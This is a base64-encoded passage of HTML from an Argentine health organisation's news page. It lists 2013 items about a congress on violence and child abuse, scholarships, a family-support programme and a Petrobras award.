CAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMT